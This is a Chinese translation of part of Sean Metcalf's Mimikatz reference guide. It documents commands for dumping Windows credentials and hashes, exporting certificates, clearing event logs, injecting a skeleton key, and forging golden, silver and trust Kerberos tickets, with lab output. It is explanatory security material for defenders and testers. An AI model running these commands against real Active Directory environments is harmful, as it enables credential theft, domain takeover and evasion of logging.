原文地址:https://adsecurity.org/?page_id=1821
原文作者:Sean Metcalf

譯者注:
由于原文中,作者(Sean Metcalf)已經明確的指出 “未經本文作者明確的書面同意,請勿復制包含在此頁面的全部或部分內容。”,因此為了分享此佳作,譯者與作者(Sean Metcalf)在推上取得了聯系,溝通之后,作者允許我將此文完整翻譯并分享給其他人。在此也感謝 Sean Metcalf 大牛將有關 Mimikatz 的全部內容做了系統的整理并分享出來。以下是原文作者(Sean Metcalf)回復的截圖,以作授權說明:

p1

0x00 簡介


Mimikatz 作為當下內網滲透神器之一,看起來似乎很少有人真正關注它的全部功能(Sean Metcalf 在原文開頭也表示了這樣的疑惑),在一些諸如 “十大黑客工具” 的文章中也看不到 Mimikatz 的影子。 Sean Metcalf 大牛將有關 Mimikatz 的相關技術做了系統的整理,遂做粗糙翻譯并作分享。譯文難免有誤,望各位看官及時指正。此文是譯文的第二部分,主要闡述了使用 Mimikatz 創建三大票證(黃金票證,白銀票證,信任票證)的命令用法,以及 哈希傳遞(PTH),票證傳遞(PTT),密鑰傳遞(PTK),緩存傳遞(PTC)的利用,在第三部分中會包含大量常用或不常用的 Mimikatz 命令的具體用法。

0x01 執行 Mimikatz 的“另類思路”


Casey Smith (@subtee & blog) 已經做了很多事情,表明了應用程序白名單不是萬能的。 Casey 也想出了很多新的想法,以“猥瑣”的方式來執行 Mimikatz 。

0x02 最流行的 Mimikatz 命令


下面就介紹一些最流行的 Mimikatz 命令及相關功能。

  • CRYPTO::Certificates – 列出/導出憑證
  • KERBEROS::Golden – 創建黃金票證/白銀票證/信任票證
  • KERBEROS::List – 列出在用戶的內存中所有用戶的票證(TGT 和 TGS)。不需要特殊的權限,因為它僅顯示當前用戶的票證。與 “klist” 的功能相似。
  • KERBEROS::PTT – 票證傳遞。通常用于注入竊取或偽造的 Kerberos 票證(黃金票證/白銀票證/信任票證)。
  • LSADUMP::DCSync – 向 DC 發起同步一個對象(獲取帳戶的密碼數據)的質詢。無需在 DC 上執行代碼。
  • LSADUMP::LSA – 向 LSA Server 質詢檢索 SAM/AD 的數據(正常或未打補丁的情況下)。可以從 DC 或者是一個 lsass.dmp 的轉儲文件中導出所有的 Active Directory 域憑證數據。同樣也可以獲取指定帳戶的憑證,如 krbtgt 帳戶,使用 /name 參數,如:“/name:krbtgt”
  • LSADUMP::SAM – 獲取 SysKey 來解密 SAM 的項目數據(從注冊表或者 hive 中導出)。SAM 選項可以連接到本地安全帳戶管理器(SAM)數據庫中并能轉儲本地帳戶的憑證。可以用來轉儲在 Windows 計算機上的所有的本地憑據。
  • LSADUMP::Trust – 向 LSA Server 質詢來獲取信任的認證信息(正常或未打補丁的情況下)。為所有相關的受信的域或林轉儲信任密鑰(密碼)。
  • MISC::AddSid – 將用戶帳戶添加到 SID 歷史記錄。第一個值是目標帳戶,第二值是帳戶/組名(可以是多個)(或 SID )。
  • MISC::MemSSP – 注入惡意的 Wndows SSP 來記錄本地身份驗證憑據。
  • MISC::Skeleton – 在 DC 中注入萬能鑰匙(Skeleton Key) 到 LSASS 進程中。這使得所有用戶所使用的萬能鑰匙修補 DC 使用 “主密碼” (又名萬能鑰匙)以及他們自己通常使用的密碼進行身份驗證。
  • PRIVILEGE::Debug – 獲得 Debug 權限(很多 Mimikatz 命令需要 Debug 權限或本地 SYSTEM 權限)。
  • SEKURLSA::Ekeys – 列出 Kerberos 密鑰
  • SEKURLSA::Kerberos – 列出所有已通過認證的用戶的 Kerberos 憑證(包括服務帳戶和計算機帳戶)
  • SEKURLSA::Krbtgt – 獲取域中 Kerberos 服務帳戶(KRBTGT)的密碼數據
  • SEKURLSA::LogonPasswords – 列出所有可用的提供者的憑據。這個命令通常會顯示最近登錄過的用戶和最近登錄過的計算機的憑證。
  • SEKURLSA::Pth – Hash 傳遞 和 Key 傳遞(注:Over-Pass-the-Hash 的實際過程就是傳遞了相關的 Key(s))
  • SEKURLSA::Tickets – 列出最近所有已經過身份驗證的用戶的可用的 Kerberos 票證,包括使用用戶帳戶的上下文運行的服務和本地計算機在 AD 中的計算機帳戶。與 kerberos::list 不同的是 sekurlsa 使用內存讀取的方式,它不會受到密鑰導出的限制。
  • TOKEN::List – 列出系統中的所有令牌
  • TOKEN::Elevate – 假冒令牌。用于提升權限至 SYSTEM 權限(默認情況下)或者是發現計算機中的域管理員的令牌。
  • TOKEN::Elevate /domainadmin – 假冒一個擁有域管理員憑證的令牌。

0x03 ADSecurity 中與 Mimikatz 相關的文章


所有提及到 Mimikatz 的文章:ADSecurity.org Mimikatz Posts

0x04 Mimikatz 命令指南


Mimikatz 可以在交互模式中運行,只需運行 “Mimikatz.exe” 即可或傳遞命令并退出(例如:’Mimikatz “Kerberos::list” exit‘)。Invoke-Mimikatz 沒有交互模式。

Mimikatz 可以在命令行中傳遞多個命令,這在使用 Invoke-Mimikatz 或者是在腳本文件中使用 Mimikatz 時非常有用。

追加的 “exit” 是 Mimikatz 執行的最后一個命令,這能夠使 Mimikatz 自動退出。

#!bash
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

.#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
 '#####'                                     with 17 modules * * */

mimikatz(commandline) # privilege::debug
 Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 646260 (00000000:0009dc74)
 Session           : RemoteInteractive from 2
 User Name         : adsadministrator
 Domain            : ADSECLAB
 Logon Server      : ADSDC03
 Logon Time        : 11/27/2015 11:41:27 AM
 SID               : S-1-5-21-1581655573-3923512380-696647894-500
 msv :
 [00000003] Primary
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 [00010000] CredentialKeys
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 tspkg :
 wdigest :
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * Password : (null)
 kerberos :
 * Username : adsadministrator
 * Domain   : LAB.ADSECURITY.ORG
 * Password : (null)
 ssp :   KO

交互模式提供了一個命令可以輸入并實時執行的 “Mimikatz 控制臺”:

#!bash
PS C:\temp\mimikatz> .\mimikatz

.#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
 '#####'                                     with 17 modules * * */

mimikatz # privilege::debug
 Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 646260 (00000000:0009dc74)
 Session           : RemoteInteractive from 2
 User Name         : adsadministrator
 Domain            : ADSECLAB
 Logon Server      : ADSDC03
 Logon Time        : 11/27/2015 11:41:27 AM
 SID               : S-1-5-21-1581655573-3923512380-696647894-500
 msv :
 [00000003] Primary
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 [00010000] CredentialKeys
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 tspkg :
 wdigest :
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * Password : (null)
 kerberos :
 * Username : adsadministrator
 * Domain   : LAB.ADSECURITY.ORG
 * Password : (null)
 ssp :   KO
 credman :

0x05 Mimikatz 命令參考


Mimikatz 的模塊如下:

注:任何被標記為“實驗”的項目,都應該僅在測試環境中使用。

加密模塊(CRYPTO)

Mimikatz 的 CRYPTO 模塊提供與 Windows 加密功能(CryptoAPI)進行對接的高級功能。

典型的用法的是用于導出未標記為“可導出”的證書。

CRYPTO::CAPI – (實驗)是對 CryptoAPI 層的補丁,便于導出憑證數據。

p2

CRYPTO::Certificates – 列出/導出 證書

關于使用 Mimikatz 導出證書,Carlos Perez (又名DarkOperator) 發表過一篇很棒的文章。

這個命令可以列出證書以及證書中密鑰的屬性。它同樣也可以導出證書。通常情況下,需要先執行 “privilege::debug”

  • /systemstore – 可選的參數 – 此參數被用于指定系統證書存儲庫類型(默認為: CERT_SYSTEM_STORE_CURRENT_USER)
  • /store – 可選的參數 – 此參數必須被用于 列出/導出證書(默認為:My)- 使用 “crypto::stores” 列出所有內容
  • /export – 可選的參數 – 將所有的證書導出到文件中(DER 為證書的公有部分,PFX 為證書的私有部分 – 密碼使用 “mimikatz” 進行了保護)

Benjamin 對 CRYPTO:Certificates 的注釋:

  • crypto::stores 給出了可用的 systemstore 列表,并輸出了 store 參數可用的列表。
  • 不可導出的密鑰(常見錯誤為:KO – ERROR kuhl_m_crypto_exportCert ; Export / CreateFile (0x8009000b))可以使用 crypto::capi 或者 crypto::cng 進行導出。
  • 盡管已有 crypto::capicrypto::cng 補丁,但是你必須在文件系統上擁有正確的 ACL 去訪問私鑰(如:UAC)。
  • 有些智能卡加密提供者會報告“成功導出私鑰”(實際上并不沒有成功導出)。
CRYPTO::CNG – (實驗)對 CNG 服務進行補丁,便于導出(補丁 “KeyIso” 服務)
CRYPTO::Hash – 對一個密碼進行哈希操作(可以使用可選的用戶名)
CRYPTO::Keys – 列出/導出密鑰容器
CRYPTO::Providers – 列出加密提供者

p3

CRYPTO::Stores – 列出加密存儲庫
  • /systemstore – 可選的參數 – 此參數被用于指定系統證書存儲庫類型(默認為: CERT_SYSTEM_STORE_CURRENT_USER)

Store 選項:

#!bash
CERT_SYSTEM_STORE_CURRENT_USER or CURRENT_USER
CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY or USER_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE or LOCAL_MACHINE
CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY or LOCAL_MACHINE_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE or LOCAL_MACHINE_ENTERPRISE
CERT_SYSTEM_STORE_CURRENT_SERVICE or CURRENT_SERVICE
CERT_SYSTEM_STORE_USERS or USERS
CERT_SYSTEM_STORE_SERVICES or SERVICES

p4

DPAPI 模塊

DPAPI::Blob – 使用 API 或 Masterkey 解除 DPAPI 二進制大對象的保護
DPAPI:Cache
DPAPI::CAPI – CAPI 密鑰測試
DPAPI::CNG – CNG 密鑰測試
DPAPI::Cred – CRE 測試
DPAPI::CredHist – 配置一個 Credhist 文件
DPAPI::MasterKey – 配置 Masterkey 文件或解除保護(依賴于密鑰)
DPAPI::Protect – 使用 DPAPI 保護數據
DPAPI::Vault – VAULT 測試

EVENT 模塊

EVENT::Clear – 清空事件日志

p5

EVENT:::Drop –(實驗)對事件服務進行補丁,避免新的事件產生

p6

KERBEROS 模塊

Mimikatz 的 KERBEROS 模塊用于與微軟官方的 Kerberos API 進行對接。此模塊中的命令不需要特殊的權限。

  • KERBEROS::Clist – 列出 MIT/Heimdall 緩存中的票證
  • KERBEROS::Golden – 創建 黃金票證/白銀票證/信任票證

該命令提供的功能需要根據檢索到的密碼的哈希類型執行。

Type Requirement Scope
Golden KRBTGT hash Domain/Forest
Silver Service hash Service
Trust Trust hash Domain/Forest -> Domain/Forest
(基于帳戶的訪問)

黃金票證(Golden Ticket)

黃金票證是一個使用 KRBTGT 帳戶的 NTLM 密碼哈希來加密和簽名的 TGT 。

黃金票證(簡稱:GT)可以用于創建任何在域中的用戶(實際存在或不存在的均可)冒充為任何在域中的組(提供幾乎不受限制的權限)的成員以及在域中的任何資源。由于黃金票證是一種身份驗證票證(TGT 如下所述),所以其范圍是 TGT 整個域(以及利用了 SID 歷史的 AD 林),還有一個原因是 TGT 可以用來獲取用于訪問資源的服務票據(TGS)。黃金票證(TGT)包含了用戶組成員信息(PAC),這些信息使用了域的 Kerberos 服務帳戶(KRBTGT)進行加密,簽名并且只能由 KRBTGT 帳戶才能打開并讀取這些信息。
總之,一旦攻擊者能夠訪問 KRBTGT 帳戶的密碼哈希,他們就可以創建黃金票證(TGT)用于在任何時候訪問在 AD 中的任何東西。

Mimikatz 黃金票證命令參考

創建一個黃金票證的 Mimikatz 命令為 “kerberos::golden”

  • /domain – 指定完全合格的域名稱,如: “lab.adsecurity.org”。
  • /sid – 指定域的 SID。 如: “S-1-5-21-1473643419-774954089-2222329127”.
  • /sids – 指定你想要使用票證去欺騙其他在 AD 林中的帳戶或組的 SID。這個是根域中,企業管理員組(Enterprise Admins group)的 SID “S-1-5-21-1473643419-774954089-5872329127-519”。 此參數將會添加所提供的 SID 到 SID History 參數。
  • /user – 指定假冒的用戶名。
  • /groups (可選的) – 指定用戶所屬組的 RID (第一個是主要的組)。添加用戶或計算機帳戶的 RID,以獲得相同的訪問權限。默認組: 513,512,520,518,519 是眾所周知的 Administrator 組的 RID(下面會列出)。
  • /krbtgt – 獲取域的 KDC 服務帳戶(KRBTGT)的 NTLM 密碼哈希。用于對 TGT 進行加密和簽名。
  • /ticket (可選的) – 提供保存黃金票證文件的路徑和名稱或者使用 /ptt 參數將黃金票證注入到內存中。
  • /ptt – 是 /ticket 參數的替代參數– 使用該參數可以立即將偽造的票證注入到內存中。
  • /id (可選的) – 用戶的 RID。 Mimikatz 中默認的值為 500 (默認的 Administrator 帳戶的 RID)。
  • /startoffset (optional) – 當票證可用時指定起始偏移(在使用此選項時通常指定為 -10 或 0 )。 Mimikatz 中默認的值為 0。
  • /endin (可選的) – 票證的生命周期。 Mimikatz 中默認的值為 10 年 (5,262,480 分鐘)。 Active Directory 中的 Kerberos 策略設置的值是 10 小時 (600 分鐘)。
  • /renewmax (可選的) – 使用了續約的票證的最大生命周期。 Mimikatz 中默認的值為 10 年 (5,262,480 分鐘)。 Active Directory 中的 Kerberos 策略設置的值是 7 天 (10,080 分鐘)。
  • /sids (可選的) – 指定在 AD 林中的企業管理員組(Enterprise Admins group)([ADRootDomainSID]-519) 中的 SID 以便欺騙在 AD 林中的企業管理員權限 (在 AD 林中的每一個域中的 AD 管理員)。
  • /aes128 – 指定 AES128 的 key
  • /aes256 – 指定 AES256 的 key

黃金票證默認的組

  • Domain Users 組的 SID: S-1-5-21-513
  • Domain Admins 組的 SID: S-1-5-21-512
  • Schema Admins 組的 SID: S-1-5-21-518
  • Enterprise Admins 組的 SID: S-1-5-21-519 (只有在林的根域中創建了偽造的票證并使用 /sids 參數指定 AD 林中管理員權限的情況下才會有效)
  • Group Policy Creator Owners 組的 SID: S-1-5-21-520

kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt

命令示例:
.\mimikatz “kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt” exit

p7

黃金票證參考

使用“ SID 歷史”的黃金票證

更新于 1/5/2016:

在 2015 年一月初,我分享過檢測偽造的 Kerberos 票證并且隨后在 BSides Charm 2015 中提到過此信息。不久后,Mimikatz 進行了更新,使用了一個設置為靜態值的 domain 字段,此字段通常包含字符串“eo.oe”。更新于 1/5/2016 的 Mimikatz 中,偽造的 Kerberos 票證將不再包含一個不規則的域,因為 Kerberos 票證的域組件中放置了 NetBIOS 域名稱

下面是使用 diff 列出了 Mimikatz 代碼的不同之處:

p8

更多關于檢測偽造的 Kerberos 票證(黃金票證,白銀票證,等等)的不同之處,請看這里

白銀票證(Silver Ticket)

白銀票證(Silver Ticket)是一個 TGS (在格式上類似于 TGT),使用了目標的服務帳戶(通過 SPN 映射標識)的 NTLM 密碼哈希做加密,簽名。
創建一個白銀票證的 Mimikatz 命令為 “kerberos::golden”

Mimikatz 白銀票證命令參考

  • /domain – 指定完全合格的域名稱,如: “lab.adsecurity.org”。
  • /sid – 指定域的 SID。 如: “S-1-5-21-1473643419-774954089-2222329127”.
  • /sids – 指定你想要使用票證去欺騙其他在 AD 林中的帳戶或組的 SID。這個是根域中,企業管理員組(Enterprise Admins group)的 SID “S-1-5-21-1473643419-774954089-5872329127-519”。 此參數將會添加所提供的 SID 到 SID History 參數。
  • /user – 指定假冒的用戶名。
  • /groups (可選的) – 指定用戶所屬組的 RID (第一個是主要的組)。添加用戶或計算機帳戶的 RID,以獲得相同的訪問權限。默認組: 513,512,520,518,519 是眾所周知的 Administrator 組的 RID(下面會列出)。
  • /krbtgt – 獲取域的 KDC 服務帳戶(KRBTGT)的 NTLM 密碼哈希。用于對 TGT 進行加密和簽名。
  • /ticket (可選的) – 提供保存偽造的票證文件的路徑和名稱或者使用 /ptt 參數將黃金票證注入到內存中。
  • /ptt – 是 /ticket 參數的替代參數– 使用該參數可以立即將偽造的票證注入到內存中。
  • /id (可選的) – 用戶的 RID。 Mimikatz 中默認的值為 500 (默認的 Administrator 帳戶的 RID)。
  • /startoffset (optional) – 當票證可用時指定起始偏移(在使用此選項時通常指定為 -10 或 0 )。 Mimikatz 中默認的值為 0。
  • /endin (可選的) – 票證的生命周期。 Mimikatz 中默認的值為 10 年 (5,262,480 分鐘)。 Active Directory 中的 Kerberos 策略設置的值是 10 小時 (600 分鐘)。
  • /renewmax (可選的) – 使用了續約的票證的最大生命周期。 Mimikatz 中默認的值為 10 年 (5,262,480 分鐘)。 Active Directory 中的 Kerberos 策略設置的值是 7 天 (10,080 分鐘)。
  • /sids (可選的) – 指定在 AD 林中的企業管理員組(Enterprise Admins group)([ADRootDomainSID]-519) 中的 SID 以便欺騙在 AD 林中的企業管理員權限 (在 AD 林中的每一個域中的 AD 管理員)。
  • /aes128 – 指定 AES128 的 key
  • /aes256 – 指定 AES256 的 key

白銀票證必須指定的參數

  • /target – 指定目標服務器的 FQDN。
  • /service – 運行在目標服務器上的 kerberos 服務。這一個服務主體名稱類或類型,例如 cifs, http, mssql。
  • /rc4 – 該服務的 NTLM 哈希 (計算機帳戶 or 用戶帳戶)

白銀票證默認的組

  • Domain Users 組的 SID: S-1-5-21-513
  • Domain Admins 組的 SID: S-1-5-21-512
  • Schema Admins 組的 SID: S-1-5-21-518
  • Enterprise Admins 組的 SID: S-1-5-21-519 (只有在林的根域中創建了偽造的票證并使用 /sids 參數指定 AD 林中管理員權限的情況下才會有效)
  • Group Policy Creator Owners 組的 SID: S-1-5-21-520

使用 Mimikatz 創建白銀票證(Silver Ticket)示例

下面是為 adsmswin2k8r2.lab.adsecurity.org 上的 CIFS 服務創建一個白銀票證的 Mimikatz 命令。為了確保白銀票證能夠成功創建,需要先找到 adsmswin2k8r2.lab.adsecurity.org 中的 AD 計算機帳戶的密碼哈希,你可以從一個 AD 域中導出,也可以在本地系統中直接運行 Mimikatz (Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit)。NTLM 密碼哈希被用于 /rc4 參數,服務 SPN 類型同樣需要使用 /service 參數指定。最后,目標計算機的完全合格域名名稱(FQDN)需要在 /target 參數中指定。不要忘記在 /sid 參數中指定域的 SID 。

mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

p9

更新于 1/5/2016:

在 2015 年一月初,我分享過檢測偽造的 Kerberos 票證并且隨后在 BSides Charm 2015 中提到過此信息。不久后,Mimikatz 進行了更新,使用了一個設置為靜態值的 domain 字段,此字段通常包含字符串“eo.oe”。更新于 1/5/2016 的 Mimikatz 中,偽造的 Kerberos 票證將不再包含一個不規則的域,因為 Kerberos 票證的域組件中放置了 NetBIOS 域名稱

下面是使用 diff 列出了 Mimikatz 代碼的不同之處:

p10

更多關于檢測偽造的 Kerberos 票證(黃金票證,白銀票證,等等)的不同之處,請看這里

信任票證(Trust Ticket)

一旦 Active Directory 的信任密碼哈希確定后 (Mimikatz “privilege::debug” “lsadump::trust /patch” exit),就可以生成一個信任票證(Trust Ticket)。關于信任票證(Trust Ticket)背后的更多細節,請看這里

偽造內部的 AD 林信任票證

在這個例子中,需要利用兩個額外的工具,由 Benjamin Delpy 編寫的 AskTGS 和 Kirbikator。

第一步 導出信任密碼(或信任密鑰)

當前使用的 Mimikatz 版本可以提取出信任密鑰(或密碼)。

(Mimikatz “privilege::debug” “lsadump::trust /patch” exit)

p11

第二步 使用 Mimikatz 創建偽造的信任票證(跨域 TGT)

偽造信任票證說明了票證的持有人是 AD 林中的企業管理員(Enterprise Admin)。這使得從一個子域到父域的訪問會得到完全的管理權限。請注意,此帳戶沒有存在于任何地方,因為它有效的使用黃金票證跨越了信任域。
創建一個信任票證的 Mimikatz 命令為 “kerberos::golden”

Mimikatz 信任票證命令參考

  • /domain – 指定完全合格的域名稱,如: “lab.adsecurity.org”。
  • /sid – 指定域的 SID。 如: “S-1-5-21-1473643419-774954089-2222329127”.
  • /sids – 指定你想要使用票證去欺騙其他在 AD 林中的帳戶或組的 SID。這個是根域中,企業管理員組(Enterprise Admins group)的 SID “S-1-5-21-1473643419-774954089-5872329127-519”。 此參數將會添加所提供的 SID 到 SID History 參數。
  • /user – 指定假冒的用戶名。
  • /groups (可選的) – 指定用戶所屬組的 RID (第一個是主要的組)。添加用戶或計算機帳戶的 RID,以獲得相同的訪問權限。默認組: 513,512,520,518,519 是眾所周知的 Administrator 組的 RID(下面會列出)。
  • /krbtgt – 獲取域的 KDC 服務帳戶(KRBTGT)的 NTLM 密碼哈希。用于對 TGT 進行加密和簽名。
  • /ticket (可選的) – 提供保存偽造的票證文件的路徑和名稱或者使用 /ptt 參數將黃金票證注入到內存中。
  • /ptt – 是 /ticket 參數的替代參數– 使用該參數可以立即將偽造的票證注入到內存中。
  • /id (可選的) – 用戶的 RID。 Mimikatz 中默認的值為 500 (默認的 Administrator 帳戶的 RID)。
  • /startoffset (optional) – 當票證可用時指定起始偏移(在使用此選項時通常指定為 -10 或 0 )。 Mimikatz 中默認的值為 0。
  • /endin (可選的) – 票證的生命周期。 Mimikatz 中默認的值為 10 年 (5,262,480 分鐘)。 Active Directory 中的 Kerberos 策略設置的值是 10 小時 (600 分鐘)。
  • /renewmax (可選的) – 使用了續約的票證的最大生命周期。 Mimikatz 中默認的值為 10 年 (5,262,480 分鐘)。 Active Directory 中的 Kerberos 策略設置的值是 7 天 (10,080 分鐘)。
  • /sids (可選的) – 指定在 AD 林中的企業管理員組(Enterprise Admins group)([ADRootDomainSID]-519) 中的 SID 以便欺騙在 AD 林中的企業管理員權限 (在 AD 林中的每一個域中的 AD 管理員)。
  • /aes128 – 指定 AES128 的 key
  • /aes256 – 指定 AES256 的 key

信任票證必須指定的參數

  • /target – 指定目標服務器的 FQDN。
  • /service – 運行在目標服務器上的 kerberos 服務。這一個服務主體名稱類或類型,例如 cifs, http, mssql。
  • /rc4 – 該服務的 NTLM 哈希 (計算機帳戶 or 用戶帳戶)
  • /ticket – 提供保存偽造的票證文件的路徑和名稱或者使用 /ptt 參數將黃金票證注入到內存中。

信任票證默認的組

  • Domain Users 組的 SID: S-1-5-21-513
  • Domain Admins 組的 SID: S-1-5-21-512
  • Schema Admins 組的 SID: S-1-5-21-518
  • Enterprise Admins 組的 SID: S-1-5-21-519 (只有在林的根域中創建了偽造的票證并使用 /sids 參數指定 AD 林中管理員權限的情況下才會有效)
  • Group Policy Creator Owners 組的 SID: S-1-5-21-520

Mimikatz “Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi” exit

第三步 利用第二步中創建的信任票證文件在目的域中為針對性的服務獲取 TGS 。保存 TGS 到一個文件中

在這個例子中,針對 CIFS 服務(實際上它可以針對任何服務)所產生的結果是 TGS 提供給了 EA 訪問父(根)域中的域控制器的權限。

Asktgs c:\temp\tickets\EA-ADSECLABCHILD.kirbi CIFS/ADSDC02.lab.adsecurity.org

p12

第四步 利用第三步中創建的 TGS 文件并使用已經欺騙到手的權限訪問目標服務

Kirbikator lsa c:\temp\tickets\CIFS.ADSDC02.lab.adsecurity.org.kirbi

p13

  • KERBEROS::Hash – 將密碼哈希為密鑰
  • KERBEROS::List – 列出在用戶內存中的所有用戶的票證(TGS 和 TGT)。沒有指定必需的權限,因為它只是顯示了當前用戶的票證。與 “klist” 的功能相似。

  • /export – 將用戶的票證導出到文件中。

使用SEKURLSA::TICKETS 轉儲所在已在系統中驗證過的用戶的 Kerberos 票證。

請注意,在有些情況下,用戶的憑證將不會被導出。這時候需要運行 SEKURLSA::Tickets /export(需要有適當的權限)。

p14

KERBEROS::PTC – 緩存傳遞(NT6)
*Nix 操作系統,如 Mac OS, Linux,BSD, Unix,等等會將 Kerberos 憑證進行緩存。這些已經被緩存的文件通過使用 Mimikatz 可以被復制以及傳遞。同樣對將 Kerberos 票證注入到緩存文件中也很有用。

一個很好的例子是在使用 PyKEK 利用 MS14-068 漏洞時所使用的 Mimikatz 的 kerberos::ptc 命令。PyKEK 生成了一個緩存文件,使用 Mimikatz 的 kerberos::ptc 命令可以注入操作。

p15

KERBEROS::PTT – 票證傳遞

在找到 Kerberos 票證之后,它可以被復制到其他系統上,并且可以傳遞到當前會話中有效的模擬一次登錄且無需與域控制器有任何通信。未指定所需的權限。

類似于SEKURLSA::PTH (Pass-The-Hash) 哈希傳遞

  • /filename – 指定票證的文件名稱(可以是多個)
  • /diretory – 指定所有將被注入的 .kirbi 文件的文件夾路徑

p16

KERBEROS::Purge – 清除所有的 Kerberos 票證

功能類似于 “klist purge” 。在傳遞票證(PTC,PTT,等)前運行此命令,并且確保使用了正確的用戶上下文。

p17

KERBEROS::TGT – 獲取當前用戶的 TGT

p18

您的支持將鼓勵我們繼續創作!

[微信] 掃描二維碼打賞

[支付寶] 掃描二維碼打賞